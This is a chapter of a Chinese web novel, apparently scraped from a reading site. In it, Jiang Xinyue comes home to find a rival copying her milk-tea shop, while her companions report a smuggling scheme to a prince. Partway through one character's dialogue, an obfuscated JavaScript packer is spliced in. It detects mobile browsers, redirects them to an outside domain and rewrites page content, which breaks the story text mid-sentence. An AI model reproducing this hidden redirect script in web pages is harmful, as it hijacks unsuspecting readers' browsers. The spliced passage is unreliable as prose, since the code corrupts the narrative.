呆六娘靠在她身边,小手里攥着杨姐姐给的贝壳,嘴里哼着刚学的盐城小调。 38. 回城 永安城的城门在晨光中显得格外高大,青灰色的城砖上满是爬墙虎。守城的士兵打着哈欠,正挨个检查入城的商队,长枪靠在肩头,在石板路上投下长长的影子。 “新鲜出炉的肉包子——”一个头发花白的老汉推着独轮车从旁边经过,蒸笼里冒出腾腾热气,混合着葱肉香气的白雾在晨风中飘散。 呆六娘趴在马车窗边,小鼻子一抽一抽地跟着香气转动,肚子适时地发出“咕噜”一声。她低头揉了揉瘪瘪的肚子,眼巴巴地看着那笼包子越来越远。 “浔阳公子回来了?”领头的校尉原本倚在城门边打盹,突然一个激灵站直了身子,三步并作两步迎上来,抱拳行礼时铠甲哗啦作响,“这次南下可还顺利?” 浔阳秋勒住缰绳,利落地翻身下马,马蹄铁在石板上磕出清脆的声响。他拍了拍校尉的肩膀,铠甲冰凉的温度透过掌心:“托你的福。”说着从马鞍袋里掏出个油纸包递过去,“尝尝盐城的蜜饯,特意给你带的。记得你娘爱吃这个。” 校尉接过油纸包,笑得眼睛眯成一条缝,脸上的皱纹都舒展开来:“公子记性真好!”他转头对身后的士兵喊道,声音洪亮得惊飞了墙头的麻雀,“放行!都精神着点!” 呆六娘趴在车窗上,小脸被太阳晒得通红,皱成一团:“三娘,永安城怎么比盐城还热啊?”她用手扇着风,额前的碎发湿漉漉地贴在脑门上。 江心月用手帕给她擦擦汗:“因为这里没有海风。”她望向窗外熟悉的街景,心远处传来打铁铺“叮叮当当”的声响,一切都和离开时一样,又似乎有些不同。 车队在岔路口分开。都文耀拍了拍浔阳秋的肩膀:“我和浔阳先去复命,晚些时候再来找你们。”他朝马车里的呆六娘眨眨眼,脸上的严肃表情柔和了几分,“给你们带宫里的冰酪尝尝,新来的御厨手艺不错。” 浔阳秋点点头,转向江心月时欲言又止,最后只轻声道:“当心些。”阳光照在他的侧脸上,勾勒出一道柔和的轮廓。 呆六娘拽着江心月的袖子往西市走,小短腿迈得飞快。忽然她一个急刹车,指着路边惊呼:“三娘快看!”她的声音引来了几个路人的目光。 只见街对面新开了一家“赵氏珍珠坊”,招牌比他们的整整大了一圈,门口排着长队,几个伙计正在给客人分发试饮的小杯奶茶,殷勤的吆喝声隔着街都能听见:“免费品尝!赵氏秘制奶茶!” 江心月的脚步不自觉地放慢了。再往前走,竟又看见两家分号,同样的装潢,同样的招牌,甚至连伙计穿的青色短衫都一模一样。 “这...”江心月停在路中间,身后的行人差点撞上她。一股凉意从脚底窜上来,心里突然升起不好的预感。 君敛台的书房里,铜盆里的冰块已经化了一半,水珠顺着盆沿滴落在地上,带来丝丝凉意。窗外的知了声嘶力竭地叫着,衬得书房更加闷热。 “王爷,浔阳秋和都文曜求见。”侍卫在门外轻声禀报。 谢罕正在批阅奏折,听到通报头也不抬:“进来。” 房门推开,浔阳秋和都文曜一前一后走进来。 “王爷,岭南之行有意外发现。”浔阳秋行礼后直入主题,从袖中取出一本薄册,“李茂才与漕帮的阿水勾结,借运茶之名走私铁器。这是盐帮提供的账册副本。” 谢罕手中的朱笔一顿,抬眼看着那本账册。都文曜上前一步补充道:“每船茶叶下面都藏着精铁,运往海外岛国。我们亲眼见到他们在盐城码头卸货。” 都文曜犹豫了一下,还是开口:“王爷,此事是阿水受人胁迫,漕帮并不知情。阿水那小子也是被逼无奈,他妹妹被李茂才的人控制着。” 谢罕接过账册,指尖触到纸张时微微发凉。他慢慢翻看着,眉头越皱越紧。书房里只剩下纸张翻动的沙沙声和铜盆里的滴水声。 “还有一事。”浔阳秋压低声音,“李茂才在盐城私自加征冰税,中饱私囊。杨家父女可以作证。” 都文曜从怀中取出一张单据:“这是盐城县令偷偷给我们的税单副本,上面有李茂才的私印。” 谢罕将账册和税单并排放在桌上,指尖在桌面轻叩几下:“这事牵扯太大,需从长计议。”他忽然话锋一转,看向浔阳秋,“听说你们带回了制冰之法?” 浔阳秋嘴角不自觉上扬:“是江姑娘学来的。岭南的制冰师傅教了她硝石制冰的法子,她打算在珍珠坊推出冰饮。她学得可认真了,天天蹲在冰窖里研究。”“ 都文曜笑着插话:“那丫头可聪明了,还改良了配方,呆六娘那小家伙天天缠着要试喝。” 谢罕难得地笑了笑,起身走到窗前。窗外一株老槐树投下斑驳的树影,几只麻雀在枝头跳来跳去。他背着手站了一会儿,转身看着二人。 “李茂才的事先不要声张,我自有安排。”谢罕的目光在都文曜脸上停留片刻,“文曜,漕帮那边你要安抚好,别让他们自乱阵脚。去查查漕帮近半年的船运记录,特别是与李茂才有往来的船只。” 都文曜拱手应下:“属下明白。漕帮上下对朝廷忠心耿耿,绝不会包庇罪犯。” “浔阳,”谢罕继续吩咐,“你去见见杨家父女,把证词录详细些。记得多带几个侍卫,别让人钻了空子。” 浔阳秋点头:“属下这就去办。不过王爷,那李茂才在朝中党羽众多,恐怕......” “无妨。”谢罕摆摆手,走回书案前坐下,“跳梁小丑罢了。你们先去忙吧,三日后我要看到详细呈报。” 二人告退后,谢罕重新坐回书案前。他拿起那本账册又仔细看了一遍,朱笔在几个关键名字上轻轻圈点。窗外的知了突然停了叫声,书房里一时安静得能听见冰块融化的细微声响。 谢罕将账册锁进抽屉,取过另一份奏折批阅。笔尖刚触到纸面,又想起什么似的顿了顿。他唤来门口的侍卫:“去库房取二两上好的明前龙井,用那个青瓷罐装着,给浔阳秋送去。” 侍卫刚要转身,谢罕又补充道:“就说......”他略一思索,“就说给江姑娘试制冰茶用。让她做好了先送些来王府尝尝。” 侍卫领命而去。谢罕重新提起朱笔,嘴角带着若有若无的笑意。他蘸了蘸朱砂,在奏折上写下批语,笔走龙蛇,字迹遒劲有力。 夕阳西沉,江心月牵着呆六娘的手站在珍珠坊门前。往日这个时候,店门口早就排起了长队,可如今门可罗雀,只有几片落叶在台阶上打着转。 “三娘...”呆六娘仰起小脸,不安地拽了拽江心月的袖子,“怎么一个人都没有啊?” 店里传来“啪嗒”一声响。陈婶正背对着门口擦桌子,听见动静猛地转身,手里的抹布掉进了水桶,溅起的水花打湿了她的裙角。 “三娘!你们可算回来了!”陈婶三步并作两步冲过来,一把抓住江心月的手腕。她的手指冰凉,掌心却冒着汗,“那挨千刀的赵浩广... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473132|168064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们刚走没两天,他就撕了协议...” 江心月心头猛地一跳,手指不自觉地收紧,握得呆六娘“哎哟”一声。她连忙松开手:“怎么回事?” “他带着衙门的人来,说咱们的契约不作数了。”陈婶气得直拍桌子,震得桌上的茶盏叮当作响,“阿尔罕去理论,反被他们关了大牢,整整三天才放出来!” 呆六娘原本还抱着从岭南带回来的糖包,听到这话猛地一愣神,糖包掉在地上,散落出几块晶莹的冰糖。她的小脸一下子垮了下来:“我们的奶茶方子...当时就不该教他!”说着说着,眼圈就红了。 江心月站在原地,手指无意识地绞着衣角。她突然想起赵浩广当初来学艺时的样子——那么的真诚,殷勤地帮忙搬货,认真地记着每一个步骤... “原来如此。”她轻声说,声音冷得像冰,“他早就计划好了。” 陈婶用围裙抹了把眼泪:“现在满城都是''赵氏珍珠坊'',价钱比咱们便宜三成。那些老主顾起初还念着旧情,可时间一长...”她的声音越来越小,最后叹了口气。 正说着,门帘被掀开,阿尔罕走了进来。他瘦了一圈,眼下带着青黑,看见江心月时却露出笑容:“回来了?岭南的糖...” 话没说完,江心月突然上前一步,抓住他的手腕:“他们打你了?” 阿尔罕的手腕上有一圈明显的红痕,像是被绳索勒过的痕迹。阿尔罕下意识想抽回手,却在半途停住了,只是轻轻转了下手腕,让袖子遮住了伤痕。 “没事,就关了几日。”他故作轻松地说,目光扫过空荡荡的店面,“人都走完了,原料也被官府查封了大半。就剩下些粗茶和蜂蜜,我都藏在后院的地窖里了。” 江心月的手指微微发抖,她松开阿尔罕。 “赵浩广现在在哪儿?”她问,声音平静得可怕。 陈婶和阿尔罕交换了个眼神。陈婶压低声音:“天天在城东的新铺子里坐镇,听说还请了舞狮队,热闹得很。昨天王婶去看过,说排队的人都拐到隔壁街去了。” 呆六娘蹲在地上捡着散落的糖块,小手脏兮兮的:“三娘,我们是不是...是不是要没饭吃了?”她的声音带着哭腔。 江心月蹲下身,用手帕轻轻擦去呆六娘脸上的泪水和手上的灰尘:“不会的。”她把糖块重新包好,塞回呆六娘手里,“还记得我们在岭南学的硝石制冰吗?” 阿尔罕眼睛一亮:“你是说...” “赵浩广偷走的只是奶茶方子。”江心月站起身,目光扫过店里每一个角落,“但他偷不走我们学来的新本事。” 陈婶突然拍了下大腿:“对了!昨天周掌柜还来打听你们什么时候回来,说想谈冰饮生意的事!” 江心月点点头,走到后院推开窗户。夕阳的余晖照进来,映在她坚定的侧脸上:“明天一早,阿尔罕去联系周掌柜。陈婶把地窖里的原料清点一下。六娘...” 呆六娘立刻站得笔直,小手举得高高的:“我、我可以试喝新饮品!” 江心月终于露出一丝笑意:“对,你最擅长这个。”她转身看着大家,“赵浩广以为这样就能打垮我们,可他忘了,珍珠坊最值钱的从来不是方子...” “是人。”阿尔罕接话道,揉了揉呆六娘的脑袋,“还有我们六娘这张刁钻的小嘴。” 江心月看着阿尔罕手腕上的红痕,这笔帐她江心月绝不会就这么算了。